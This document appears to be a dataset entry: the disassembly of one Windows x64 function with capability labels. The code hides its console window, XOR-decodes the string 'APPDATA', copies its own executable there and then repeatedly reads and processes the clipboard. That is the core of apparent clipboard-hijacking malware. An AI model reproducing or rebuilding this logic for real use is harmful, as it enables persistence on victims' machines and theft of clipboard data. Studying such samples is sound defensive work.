Function at 0x140006190
Capabilities:
Copy file
Open clipboard
Query environment variable
Read clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x1e0
mov rax, qword [0x140019040]
xor rax, rsp
mov qword [rsp + 0x1d8], rax
xor r12d, r12d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [rsp + 0xa0], 0x75
mov al, 0x34
mov cl, 0x25
movzx edx, cl
mov r8b, 0x31
movzx r9d, al
mov r10b, 0x21
movzx r11d, al
xor ebx, ebx
xor al, 0x75
mov byte [rsp + 0xa1], al
xor cl, 0x75
mov byte [rsp + 0xa2], cl
xor dl, 0x75
mov byte [rsp + 0xa3], dl
xor r8b, 0x75
mov byte [rsp + 0xa4], r8b
xor r9b, 0x75
mov byte [rsp + 0xa5], r9b
xor r10b, 0x75
mov byte [rsp + 0xa6], r10b
xor r11b, 0x75
mov byte [rsp + 0xa7], r11b
mov byte [rsp + 0xa8], bl
lea rcx, [rsp + 0xa1]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
mov r15, 0xffffffffffffffff
mov r8, r15
inc r8
cmp byte [rax + r8], bl
jne 0x140006274
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.140007d50
nop
mov byte [rsp + 0x30], 1
mov al, 0x5d
xor ecx, ecx
xor al, 1
mov byte [rsp + 0x31], al
mov byte [rsp + 0x32], cl
lea r8, [0x14001a420]
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0x40]
call fcn.140007770
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x1400062c3
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.1400072a0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140006311
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000630c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000630c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010800
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
call fcn.140010240
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140004390
nop
lea rcx, [rsp + 0x40]
call fcn.140004f20
movzx ebx, al
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x1400063a5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400063a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400063a0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010800
test bl, bl
jne 0x14000645f
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
call fcn.140010240
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140004390
nop
mov qword [rsp + 0x30], r12
lea rax, [0x1400190b8]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.140005030
cmp dword [rsp + 0x30], 0
jne 0x140006c10
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x14000645f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000645a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000645a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010800
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
call fcn.140010240
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140004390
nop
lea rcx, [rsp + 0x40]
call fcn.140004f20
movzx ebx, al
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x1400064f3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400064ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400064ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010800
test bl, bl
je 0x140006614
mov byte [rsp + 0x30], 6
mov al, 0x5a
xor ecx, ecx
xor al, 6
mov byte [rsp + 0x31], al
mov byte [rsp + 0x32], cl
lea r8, [0x14001a340]
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0x40]
call fcn.140007770
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x140006533
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.1400072a0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140006581
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000657c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000657c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010800
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.140007080
mov rbx, rax
mov r8d, 0x104
lea rdx, [rsp + 0xc0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1400065cb
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1400065ba
mov rdx, qword [rbx]
xor r8d, r8d
lea rcx, [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140006605
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140006600
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400066a3
mov rcx, r8
call fcn.140010800
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
call fcn.140010240
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140004390
nop
lea rcx, [rsp + 0x40]
call fcn.140004f20
movzx ebx, al
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x1400066af
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400066aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400066aa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010800
test bl, bl
je 0x140006942
mov esi, dword [0x14001a390]
lea rdi, [0x14001a380]
mov r8, rdi
cmp qword [0x14001a398], 0xf
cmova r8, qword [0x14001a380]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r9d, [rsi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd r14, eax
mov eax, 2
mul r14
cmovb rax, r15
mov rcx, rax
call fcn.140010b54
mov rbx, rax
cmp qword [0x14001a398], 0xf
cmova rdi, qword [0x14001a380]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rax
lea r9d, [rsi + 1]
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.140006ea0
mov rcx, rbx
call fcn.140010800
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 7
cmova rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x80]
call fcn.140006ea0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x1400067ae
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400067a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400067a9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010800
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r12w
lea rcx, [rsp + 0x80]
cmp qword [rsp + 0x98], 7
cmova rcx, qword [rsp + 0x80]
call fcn.140005a80
test eax, eax
jne 0x1400068f7
mov edi, dword [rsp + 0x70]
lea r8, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova r8, qword [rsp + 0x60]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r9d, [rdi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rsi, eax
mov eax, 2
mul rsi
cmovb rax, r15
mov rcx, rax
call fcn.140010b54
mov rbx, rax
lea r8, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova r8, qword [rsp + 0x60]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rax
lea r9d, [rdi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rdx, rbx
lea rcx, [rsp + 0xa0]
call fcn.140006ea0
mov rcx, rbx
call fcn.140010800
nop
lea rdx, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 7
cmova rdx, qword [rsp + 0xa0]
lea rcx, [rsp + 0x80]
cmp qword [rsp + 0x98], 7
cmova rcx, qword [rsp + 0x80]
call fcn.140005de0
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 7
jbe 0x1400068f7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400068f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400068f1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010800
nop
mov rdx, qword [rsp + 0x98]
cmp rdx, 7
jbe 0x140006942
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000693d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000693d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010800
movabs r13, 0x7fffffffffffffff
jmp 0x140006957
mov r15, 0xffffffffffffffff
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
nop
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rbx, rax
xorps xmm0, xmm0
test rax, rax
jne 0x1400069ed
mov byte [rsp + 0x30], 0x13
mov al, 0x76
mov cl, 0x61
movzx edx, cl
mov r8b, 0x7c
movzx r9d, cl
xor r10d, r10d
xor al, 0x13
mov byte [rsp + 0x31], al
xor cl, 0x13
mov byte [rsp + 0x32], cl
xor dl, 0x13
mov byte [rsp + 0x33], dl
xor r8b, 0x13
mov byte [rsp + 0x34], r8b
xor r9b, 0x13
mov byte [rsp + 0x35], r9b
mov byte [rsp + 0x36], r10b
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
lea rax, [rsp + 0x31]
mov r8, r15
nop
inc r8
cmp byte [rax + r8], r10b
jne 0x1400069d0
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0x40]
call fcn.140007d50
jmp 0x140006a6e
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xa0], rbx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov qword [rsp + 0xa8], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x98], r12
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140006a30
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.140007d50
movups xmm0, xmmword [rsp + 0x80]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rsp + 0x90]
movups xmmword [rsp + 0x50], xmm1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
nop
call qword [sym.imp.USER32.dll_CloseClipboard]
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x98], r12
lea r14, [rsp + 0x40]
mov rsi, qword [rsp + 0x40]
mov r15, qword [rsp + 0x58]
cmp r15, 0xf
cmova r14, rsi
mov rdi, qword [rsp + 0x50]
cmp rdi, r13
ja 0x140006c27
cmp rdi, 0xf
ja 0x140006ae0
mov qword [rsp + 0x90], rdi
mov qword [rsp + 0x98], 0xf
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x80], xmm0
jmp 0x140006b81
mov rbx, rdi
or rbx, 0xf
cmp rbx, r13
jbe 0x140006b1b
mov rbx, r13
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140010808
mov rcx, rax
test rax, rax
je 0x140006b4e
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140006b5a
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140006b36
mov rax, r12
jmp 0x140006b5a
cmp rcx, 0x1000
jb 0x140006b55
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140006c2c
jmp 0x140006afd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010808
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x90], rdi
mov qword [rsp + 0x98], rbx
lea r8, [rdi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x80]
call fcn.140005800
mov ecx, 0x3e8
call fcn.140005610
nop
cmp r15, 0xf
jbe 0x140006950
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140006bcf
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006bcf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140010800
jmp 0x140006950
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x30]
lea rcx, str.create_directories
call fcn.140004ec0
nop
call fcn.140003970
call fcn.1400038d0
int3